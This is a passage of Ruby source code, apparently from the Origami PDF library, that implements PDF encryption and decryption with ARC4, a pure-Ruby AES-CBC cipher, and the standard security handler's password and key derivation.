cfdict[:CFM] == :V2 then Encryption::ARC4 elsif cfdict[:CFM] == :AESV2 then Encryption::AES elsif cfdict[:CFM] == :None then Encryption::Identity elsif cfdict[:CFM] == :AESV3 and handler.V.to_i == 5 then Encryption::AES else raise EncryptionNotSupportedError, "Unsupported encryption version : #{handler.V}" end else stm_algo = Encryption::Identity end else str_algo = stm_algo = Encryption::Identity end else raise EncryptionNotSupportedError, "Unsupported encryption version : #{handler.V}" end doc_id = get_doc_attr(:ID) unless doc_id.is_a?(Array) raise EncryptionError, "Document ID was not found or is invalid" unless handler.V.to_i == 5 else doc_id = doc_id.first end if handler.is_user_password?(passwd, doc_id) encryption_key = handler.compute_user_encryption_key(passwd, doc_id) elsif handler.is_owner_password?(passwd, doc_id) if handler.V.to_i < 5 user_passwd = handler.retrieve_user_password(passwd) encryption_key = handler.compute_user_encryption_key(user_passwd, doc_id) else encryption_key = handler.compute_owner_encryption_key(passwd) end else raise EncryptionInvalidPasswordError end #self.extend(Encryption::EncryptedDocument) #self.encryption_dict = encrypt_dict #self.encryption_key = encryption_key #self.stm_algo = self.str_algo = algorithm encrypt_metadata = (handler.EncryptMetadata != false) self.extend(Encryption::EncryptedDocument) self.encryption_dict = handler self.encryption_key = encryption_key self.stm_algo,self.str_algo = stm_algo,str_algo # # Should be fixed to exclude only the active XRefStream # metadata = self.Catalog.Metadata self.indirect_objects.each do |indobj| encrypted_objects = [] case indobj when String,Stream then encrypted_objects << indobj when Dictionary,Array then encrypted_objects |= indobj.strings_cache end encrypted_objects.each do |obj| case obj when String next if obj.equal?(encrypt_dict[:U]) or obj.equal?(encrypt_dict[:O]) or obj.equal?(encrypt_dict[:UE]) or obj.equal?(encrypt_dict[:OE]) or obj.equal?(encrypt_dict[:Perms]) or (obj.parent.is_a?(Signature::DigitalSignature) and obj.equal?(obj.parent[:Contents])) obj.extend(Encryption::EncryptedString) unless obj.is_a?(Encryption::EncryptedString) obj.encryption_handler = handler obj.encryption_key = encryption_key obj.algorithm = str_algo obj.decrypt! when Stream next if obj.is_a?(XRefStream) or (not encrypt_metadata and obj.equal?(metadata)) obj.extend(Encryption::EncryptedStream) unless obj.is_a?(Encryption::EncryptedStream) obj.encryption_handler = handler obj.encryption_key = encryption_key obj.algorithm = stm_algo end end end self end # # Encrypts the current document with the provided passwords. # The document will be encrypted at writing-on-disk time. # _userpasswd_:: The user password. # _ownerpasswd_:: The owner password. # _options_:: A set of options to configure encryption. # def encrypt(options = {}) if self.is_encrypted? raise EncryptionError, "PDF is already encrypted" end # # Default encryption options. # params = { :user_passwd => '', :owner_passwd => '', :cipher => 'rc4', # :RC4 or :AES :key_size => 128, # Key size in bits :hardened => false, # Use newer password validation (since Reader X) :encrypt_metadata => true, # Metadata shall be encrypted? :permissions => Encryption::Standard::Permissions::ALL # Document permissions }.update(options) userpasswd, ownerpasswd = params[:user_passwd], params[:owner_passwd] case params[:cipher].upcase when 'RC4' algorithm = Encryption::ARC4 if (40..128) === params[:key_size] and params[:key_size] % 8 == 0 if params[:key_size] > 40 version = 2 revision = 3 else version = 1 revision = 2 end else raise EncryptionError, "Invalid RC4 key length" end when 'AES' algorithm = Encryption::AES if params[:key_size] == 128 version = revision = 4 elsif params[:key_size] == 256 version = 5 if params[:hardened] revision = 6 else revision = 5 end else raise EncryptionError, "Invalid AES key length (Only 128 and 256 bits keys are supported)" end else raise EncryptionNotSupportedError, "Cipher not supported : #{params[:cipher]}" end doc_id = (get_doc_attr(:ID) || gen_id).first handler = Encryption::Standard::Dictionary.new handler.Filter = :Standard #:nodoc: handler.V = version handler.R = revision handler.Length = params[:key_size] handler.P = -1 # params[:Permissions] if revision >= 4 handler.EncryptMetadata = params[:encrypt_metadata] handler.CF = Dictionary.new cryptfilter = Encryption::CryptFilterDictionary.new cryptfilter.AuthEvent = :DocOpen if revision == 4 cryptfilter.CFM = :AESV2 else cryptfilter.CFM = :AESV3 end cryptfilter.Length = params[:key_size] >> 3 handler.CF[:StdCF] = cryptfilter handler.StmF = handler.StrF = :StdCF end handler.set_passwords(ownerpasswd, userpasswd, doc_id) encryption_key = handler.compute_user_encryption_key(userpasswd, doc_id) fileInfo = get_trailer_info fileInfo[:Encrypt] = self << handler self.extend(Encryption::EncryptedDocument) self.encryption_dict = handler self.encryption_key = encryption_key self.stm_algo = self.str_algo = algorithm self end end # # Module to provide support for encrypting and decrypting PDF documents. # module Encryption # # Generates _n_ random bytes from a fast PRNG. # def self.rand_bytes(n) ::Array.new(n) { rand(256) }.pack("C*") end # # Generates _n_ random bytes from a crypto PRNG. # def self.strong_rand_bytes(n) if Origami::OPTIONS[:use_openssl] OpenSSL::Random.random_bytes(n) elsif RUBY_VERSION >= '1.9' Random.new.bytes(n) else self.rand_bytes(n) end end module EncryptedDocument attr_writer :encryption_key attr_writer :encryption_dict attr_writer :stm_algo attr_writer :str_algo private def physicalize(options = {}) def build(obj, revision, options) #:nodoc: if obj.is_a?(EncryptedObject) # already built if options[:decrypt] == true obj.pre_build obj.decrypt! obj.decrypted = false # makes it believe no encryption pass is required obj.post_build end return end if obj.is_a?(ObjectStream) obj.each do |subobj| build(subobj, revision, options) end end obj.pre_build case obj when String if not obj.equal?(@encryption_dict[:U]) and not obj.equal?(@encryption_dict[:O]) and not obj.equal?(@encryption_dict[:UE]) and not obj.equal?(@encryption_dict[:OE]) and not obj.equal?(@encryption_dict[:Perms]) and not (obj.parent.is_a?(Signature::DigitalSignature) and obj.equal?(obj.parent[:Contents])) and not obj.indirect_parent.parent.is_a?(ObjectStream) obj.extend(EncryptedString) obj.decrypted = true obj.encryption_handler = @encryption_dict obj.encryption_key = @encryption_key obj.algorithm = @str_algo end when Stream return if obj.is_a?(XRefStream) return if obj.equal?(self.Catalog.Metadata) and not @encryption_dict.EncryptMetadata obj.extend(EncryptedStream) obj.decrypted = true obj.encryption_handler = @encryption_dict obj.encryption_key = @encryption_key obj.algorithm = @stm_algo when Dictionary, Array obj.map! do |subobj| if subobj.is_indirect? if get_object(subobj.reference) subobj.reference else ref = add_to_revision(subobj, revision) build(subobj, revision, options) ref end else subobj end end obj.each do |subobj| build(subobj, revision, options) end end obj.post_build end # stack up every root objects indirect_objects_by_rev.each do |obj, revision| build(obj, revision, options) end # remove encrypt dictionary if requested if options[:decrypt] delete_object(get_trailer_info[:Encrypt]) get_trailer_info[:Encrypt] = nil end self end end # # Module for encrypted PDF objects. # module EncryptedObject #:nodoc attr_writer :encryption_key attr_writer :algorithm attr_writer :encryption_handler attr_accessor :decrypted def self.extended(obj) obj.decrypted = false end def post_build encrypt! super end private def compute_object_key if @encryption_handler.V < 5 parent = self.indirect_parent no, gen = parent.no, parent.generation k = @encryption_key + [no].pack("I")[0..2] + [gen].pack("I")[0..1] key_len = (k.length > 16) ? 16 : k.length k << "sAlT" if @algorithm == Encryption::AES Digest::MD5.digest(k)[0, key_len] else @encryption_key end end end # # Module for encrypted String. # module EncryptedString include EncryptedObject def encrypt! if @decrypted key = compute_object_key encrypted_data = if @algorithm == ARC4 or @algorithm == Identity @algorithm.encrypt(key, self.value) else iv = Encryption.rand_bytes(AES::BLOCKSIZE) @algorithm.encrypt(key, iv, self.value) end @decrypted = false self.replace(encrypted_data) self.freeze end self end def decrypt! unless @decrypted key = compute_object_key self.replace(@algorithm.decrypt(key, self.to_str)) @decrypted = true end self end end # # Module for encrypted Stream. # module EncryptedStream include EncryptedObject def encrypt! if @decrypted encode! key = compute_object_key @rawdata = if @algorithm == ARC4 or @algorithm == Identity @algorithm.encrypt(key, self.rawdata) else iv = Encryption.rand_bytes(AES::BLOCKSIZE) @algorithm.encrypt(key, iv, @rawdata) end @decrypted = false @rawdata.freeze self.freeze end self end def decrypt! unless @decrypted key = compute_object_key self.rawdata = @algorithm.decrypt(key, @rawdata) @decrypted = true end self end end # # Identity transformation. # module Identity def Identity.encrypt(key, data) data end def Identity.decrypt(key, data) data end end # # Pure Ruby implementation of the aRC4 symmetric algorithm # class ARC4 # # Encrypts data using the given key # def ARC4.encrypt(key, data) ARC4.new(key).encrypt(data) end # # Decrypts data using the given key # def ARC4.decrypt(key, data) ARC4.new(key).decrypt(data) end # # Creates and initialises a new aRC4 generator using given key # def initialize(key) if Origami::OPTIONS[:use_openssl] @key = key else @state = init(key) end end # # Encrypt/decrypt data with the aRC4 encryption algorithm # def cipher(data) return "" if data.empty? if Origami::OPTIONS[:use_openssl] rc4 = OpenSSL::Cipher::RC4.new.encrypt rc4.key_len = @key.length rc4.key = @key output = rc4.update(data) << rc4.final else output = "" i, j = 0, 0 data.each_byte do |byte| i = i.succ & 0xFF j = (j + @state[i]) & 0xFF @state[i], @state[j] = @state[j], @state[i] output << (@state[@state[i] + @state[j] & 0xFF] ^ byte).chr end end output end alias encrypt cipher alias decrypt cipher private def init(key) #:nodoc: state = (0..255).to_a j = 0 256.times do |i| j = ( j + state[i] + key[i % key.size].ord ) & 0xFF state[i], state[j] = state[j], state[i] end state end end # # Pure Ruby implementation of the AES symmetric algorithm. # Using mode CBC. # class AES NROWS = 4 NCOLS = 4 BLOCKSIZE = NROWS * NCOLS ROUNDS = { 16 => 10, 24 => 12, 32 => 14 } # # Rijndael S-box # SBOX = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ] # # Inverse of the Rijndael S-box # RSBOX = [ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] RCON = [ 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb ] attr_writer :iv def AES.encrypt(key, iv, data) AES.new(key, iv).encrypt(data) end def AES.decrypt(key, data) AES.new(key, nil).decrypt(data) end def initialize(key, iv, use_padding = true) unless key.size == 16 or key.size == 24 or key.size == 32 raise EncryptionError, "Key must have a length of 128, 192 or 256 bits." end if not iv.nil? and iv.size != BLOCKSIZE raise EncryptionError, "Initialization vector must have a length of #{BLOCKSIZE} bytes." end @key = key @iv = iv @use_padding = use_padding end def encrypt(data) if @iv.nil? raise EncryptionError, "No initialization vector has been set." end if @use_padding padlen = BLOCKSIZE - (data.size % BLOCKSIZE) data << (padlen.chr * padlen) end if Origami::OPTIONS[:use_openssl] aes = OpenSSL::Cipher::Cipher.new("aes-#{@key.length << 3}-cbc").encrypt aes.iv = @iv aes.key = @key aes.padding = 0 @iv + aes.update(data) + aes.final else cipher = [] cipherblock = [] nblocks = data.size / BLOCKSIZE first_round = true nblocks.times do |n| plainblock = data[n * BLOCKSIZE, BLOCKSIZE].unpack("C*") if first_round BLOCKSIZE.times do |i| plainblock[i] ^= @iv[i].ord end else BLOCKSIZE.times do |i| plainblock[i] ^= cipherblock[i] end end first_round = false cipherblock = aesEncrypt(plainblock) cipher.concat(cipherblock) end @iv + cipher.pack("C*") end end def decrypt(data) unless data.size % BLOCKSIZE == 0 raise EncryptionError, "Data must be 16-bytes padded (data size = #{data.size} bytes)" end @iv = data.slice!(0, BLOCKSIZE) if Origami::OPTIONS[:use_openssl] aes = OpenSSL::Cipher::Cipher.new("aes-#{@key.length << 3}-cbc").decrypt aes.iv = @iv aes.key = @key aes.padding = 0 plain = (aes.update(data) + aes.final).unpack("C*") else plain = [] plainblock = [] prev_cipherblock = [] nblocks = data.size / BLOCKSIZE first_round = true nblocks.times do |n| cipherblock = data[n * BLOCKSIZE, BLOCKSIZE].unpack("C*") plainblock = aesDecrypt(cipherblock) if first_round BLOCKSIZE.times do |i| plainblock[i] ^= @iv[i].ord end else BLOCKSIZE.times do |i| plainblock[i] ^= prev_cipherblock[i] end end first_round = false prev_cipherblock = cipherblock plain.concat(plainblock) end end if @use_padding padlen = plain[-1] unless (1..16) === padlen raise EncryptionError, "Incorrect padding length : #{padlen}" end padlen.times do pad = plain.pop raise EncryptionError, "Incorrect padding byte : 0x#{pad.to_s 16}" if pad != padlen end end plain.pack("C*") end private def rol(row, n = 1) #:nodoc n.times do row.push row.shift end ; row end def ror(row, n = 1) #:nodoc: n.times do row.unshift row.pop end ; row end def galoisMult(a, b) #:nodoc: p = 0 8.times do p ^= a if b[0] == 1 highBit = a[7] a <<= 1 a ^= 0x1b if highBit == 1 b >>= 1 end p % 256 end def scheduleCore(word, iter) #:nodoc: rol(word) word.map! do |byte| SBOX[byte] end word[0] ^= RCON[iter] word end def transpose(m) #:nodoc: [ m[NROWS * 0, NROWS], m[NROWS * 1, NROWS], m[NROWS * 2, NROWS], m[NROWS * 3, NROWS] ].transpose.flatten end # # AES round methods. # def createRoundKey(expandedKey, round = 0) #:nodoc: transpose(expandedKey[round * BLOCKSIZE, BLOCKSIZE]) end def addRoundKey(roundKey) #:nodoc: BLOCKSIZE.times do |i| @state[i] ^= roundKey[i] end end def subBytes #:nodoc: BLOCKSIZE.times do |i| @state[i] = SBOX[ @state[i] ] end end def rsubBytes #:nodoc: BLOCKSIZE.times do |i| @state[i] = RSBOX[ @state[i] ] end end def shiftRows #:nodoc: NROWS.times do |i| @state[i * NCOLS, NCOLS] = rol(@state[i * NCOLS, NCOLS], i) end end def rshiftRows #:nodoc: NROWS.times do |i| @state[i * NCOLS, NCOLS] = ror(@state[i * NCOLS, NCOLS], i) end end def mixColumnWithField(column, field) #:nodoc: p = field column[0], column[1], column[2], column[3] = galoisMult(column[0], p[0]) ^ galoisMult(column[3], p[1]) ^ galoisMult(column[2], p[2]) ^ galoisMult(column[1], p[3]), galoisMult(column[1], p[0]) ^ galoisMult(column[0], p[1]) ^ galoisMult(column[3], p[2]) ^ galoisMult(column[2], p[3]), galoisMult(column[2], p[0]) ^ galoisMult(column[1], p[1]) ^ galoisMult(column[0], p[2]) ^ galoisMult(column[3], p[3]), galoisMult(column[3], p[0]) ^ galoisMult(column[2], p[1]) ^ galoisMult(column[1], p[2]) ^ galoisMult(column[0], p[3]) end def mixColumn(column) #:nodoc: mixColumnWithField(column, [ 2, 1, 1, 3 ]) end def rmixColumn(column) #:nodoc: mixColumnWithField(column, [ 14, 9, 13, 11 ]) end def mixColumns #:nodoc: NCOLS.times do |c| column = [] NROWS.times do |r| column << @state[c + r * NCOLS] end mixColumn(column) NROWS.times do |r| @state[c + r * NCOLS] = column[r] end end end def rmixColumns #:nodoc: NCOLS.times do |c| column = [] NROWS.times do |r| column << @state[c + r * NCOLS] end rmixColumn(column) NROWS.times do |r| @state[c + r * NCOLS] = column[r] end end end def expandKey(key) #:nodoc: key = key.unpack("C*") size = key.size expandedSize = 16 * (ROUNDS[key.size] + 1) rconIter = 1 expandedKey = key[0, size] while expandedKey.size < expandedSize temp = expandedKey[-4, 4] if expandedKey.size % size == 0 scheduleCore(temp, rconIter) rconIter = rconIter.succ end temp.map! do |b| SBOX[b] end if size == 32 and expandedKey.size % size == 16 temp.each do |b| expandedKey << (expandedKey[-size] ^ b) end end expandedKey end def aesRound(roundKey) #:nodoc: subBytes #puts "after subBytes: #{@state.inspect}" shiftRows #puts "after shiftRows: #{@state.inspect}" mixColumns #puts "after mixColumns: #{@state.inspect}" addRoundKey(roundKey) #puts "roundKey = #{roundKey.inspect}" #puts "after addRoundKey: #{@state.inspect}" end def raesRound(roundKey) #:nodoc: addRoundKey(roundKey) rmixColumns rshiftRows rsubBytes end def aesEncrypt(block) #:nodoc: @state = transpose(block) expandedKey = expandKey(@key) rounds = ROUNDS[@key.size] aesMain(expandedKey, rounds) end def aesDecrypt(block) #:nodoc: @state = transpose(block) expandedKey = expandKey(@key) rounds = ROUNDS[@key.size] raesMain(expandedKey, rounds) end def aesMain(expandedKey, rounds) #:nodoc: #puts "expandedKey: #{expandedKey.inspect}" roundKey = createRoundKey(expandedKey) addRoundKey(roundKey) for i in 1..rounds-1 roundKey = createRoundKey(expandedKey, i) aesRound(roundKey) end roundKey = createRoundKey(expandedKey, rounds) subBytes shiftRows addRoundKey(roundKey) transpose(@state) end def raesMain(expandedKey, rounds) #:nodoc: roundKey = createRoundKey(expandedKey, rounds) addRoundKey(roundKey) rshiftRows rsubBytes (rounds - 1).downto(1) do |i| roundKey = createRoundKey(expandedKey, i) raesRound(roundKey) end roundKey = createRoundKey(expandedKey) addRoundKey(roundKey) transpose(@state) end end # # Class representing a crypt filter Dictionary # class CryptFilterDictionary < Dictionary include StandardObject field :Type, :Type => Name, :Default => :CryptFilter field :CFM, :Type => Name, :Default => :None field :AuthEvent, :Type => Name, :Default => :DocOpen field :Length, :Type => Integer end # # Common class for encryption dictionaries. # class EncryptionDictionary < Dictionary include StandardObject field :Filter, :Type => Name, :Default => :Standard, :Required => true field :SubFilter, :Type => Name, :Version => "1.3" field :V, :Type => Integer, :Default => 0 field :Length, :Type => Integer, :Default => 40, :Version => "1.4" field :CF, :Type => Dictionary, :Version => "1.5" field :StmF, :Type => Name, :Default => :Identity, :Version => "1.5" field :StrF, :Type => Name, :Default => :Identity, :Version => "1.5" field :EFF, :Type => Name, :Version => "1.6" end # # The standard security handler for PDF encryption. # module Standard PADDING = "\x28\xBF\x4E\x5E\x4E\x75\x8A\x41\x64\x00\x4E\x56\xFF\xFA\x01\x08\x2E\x2E\x00\xB6\xD0\x68\x3E\x80\x2F\x0C\xA9\xFE\x64\x53\x69\x7A" #:nodoc: PADDING.force_encoding('binary') if RUBY_VERSION >= '1.9' # # Permission constants for encrypted documents. # module Permissions RESERVED = 1 << 6 | 1 << 7 | 0xFFFFF000 PRINT = 1 << 2 | RESERVED MODIFY_CONTENTS = 1 << 3 | RESERVED COPY_CONTENTS = 1 << 4 | RESERVED MODIFY_ANNOTATIONS = 1 << 5 | RESERVED FILLIN_FORMS = 1 << 8 | RESERVED EXTRACT_CONTENTS = 1 << 9 | RESERVED ASSEMBLE_DOC = 1 << 10 | RESERVED HIGH_QUALITY_PRINT = 1 << 11 | RESERVED ALL = PRINT | MODIFY_CONTENTS | COPY_CONTENTS | MODIFY_ANNOTATIONS | FILLIN_FORMS | EXTRACT_CONTENTS | ASSEMBLE_DOC | HIGH_QUALITY_PRINT end # # Class defining a standard encryption dictionary. # class Dictionary < EncryptionDictionary field :R, :Type => Number, :Required => true field :O, :Type => String, :Required => true field :U, :Type => String, :Required => true field :OE, :Type => String, :Version => '1.7', :ExtensionLevel => 3 field :UE, :Type => String, :Version => '1.7', :ExtensionLevel => 3 field :Perms, :Type => String, :Version => '1.7', :ExtensionLevel => 3 field :P, :Type => Integer, :Default => 0, :Required => true field :EncryptMetadata, :Type => Boolean, :Default => true, :Version => "1.5" def pdf_version_required #:nodoc: if self.R > 5 [ 1.7, 8 ] else super end end # # Computes the key that will be used to encrypt/decrypt the document contents with user password. # def compute_user_encryption_key(userpassword, fileid) if self.R < 5 padded = pad_password(userpassword) padded.force_encoding('binary') if RUBY_VERSION >= '1.9' padded << self.O padded << [ self.P ].pack("i") padded << fileid encrypt_metadata = self.EncryptMetadata != false padded << [ -1 ].pack("i") if self.R >= 4 and not encrypt_metadata key = Digest::MD5.digest(padded) 50.times { key = Digest::MD5.digest(key[0, self.Length / 8]) } if self.R >= 3 if self.R == 2 key[0, 5] elsif self.R >= 3 key[0, self.Length / 8] end else passwd = password_to_utf8(userpassword) uks = self.U[40, 8] if self.R == 5 ukey = Digest::SHA256.digest(passwd + uks) else ukey = compute_hardened_hash(passwd, uks) end iv = ::Array.new(AES::BLOCKSIZE, 0).pack("C*") AES.new(ukey, nil, false).decrypt(iv + self.UE.value) end end # # Computes the key that will be used to encrypt/decrypt the document contents with owner password. # Revision 5 and above. # def compute_owner_encryption_key(ownerpassword) if self.R >= 5 passwd = password_to_utf8(ownerpassword) oks = self.O[40, 8] if self.R == 5 okey = Digest::SHA256.digest(passwd + oks + self.U) else okey = compute_hardened_hash(passwd, oks, self.U) end iv = ::Array.new(AES::BLOCKSIZE, 0).pack("C*") AES.new(okey, nil, false).decrypt(iv + self.OE.value) end end # # Set up document passwords. # def set_passwords(ownerpassword, userpassword, salt = nil) if self.R < 5 key = compute_owner_key(ownerpassword) upadded = pad_password(userpassword) owner_key = ARC4.encrypt(key, upadded) 19.times { |i| owner_key = ARC4.encrypt(xor(key,i+1), owner_key) } if self.R >= 3 self.O = owner_key self.U = compute_user_password(userpassword, salt) else upass = password_to_utf8(userpassword) opass = password_to_utf8(ownerpassword) uvs, uks, ovs, oks = ::Array.new(4) { Encryption.rand_bytes(8) } file_key = Encryption.strong_rand_bytes(32) iv = ::Array.new(AES::BLOCKSIZE, 0).pack("C*") if self.R == 5 self.U = Digest::SHA256.digest(upass + uvs) + uvs + uks self.O = Digest::SHA256.digest(opass + ovs + self.U) + ovs + oks ukey = Digest::SHA256.digest(upass + uks) okey = Digest::SHA256.digest(opass + oks + self.U) else self.U = compute_hardened_hash(upass, uvs) + uvs + uks self.O = compute_hardened_hash(opass, ovs, self.U) + ovs + oks ukey = compute_hardened_hash(upass, uks) okey = compute_hardened_hash(opass, oks, self.U) end self.UE = AES.new(ukey, iv, false).encrypt(file_key)[iv.size, 32] self.OE = AES.new(okey, iv, false).encrypt(file_key)[iv.size, 32] perms = [ self.P ].pack("V") + # 0-3 [ -1 ].pack("V") + # 4-7 (self.EncryptMetadata == true ? "T" : "F") + # 8 "adb" + # 9-11 [ 0 ].pack("V") # 12-15 self.Perms = AES.new(file_key, iv, false).encrypt(perms)[iv.size, 16] file_key end end # # Checks user password. # For version 2,3 and 4, _salt_ is the document ID. # For version 5 and 6, _salt_ is the User Key Salt. # def is_user_password?(pass, salt) if self.R == 2 compute_user_password(pass, salt) == self.U elsif self.R == 3 or self.R == 4 compute_user_password(pass, salt)[0, 16] == self.U[0, 16] elsif self.R == 5 uvs = self.U[32, 8] Digest::SHA256.digest(password_to_utf8(pass) + 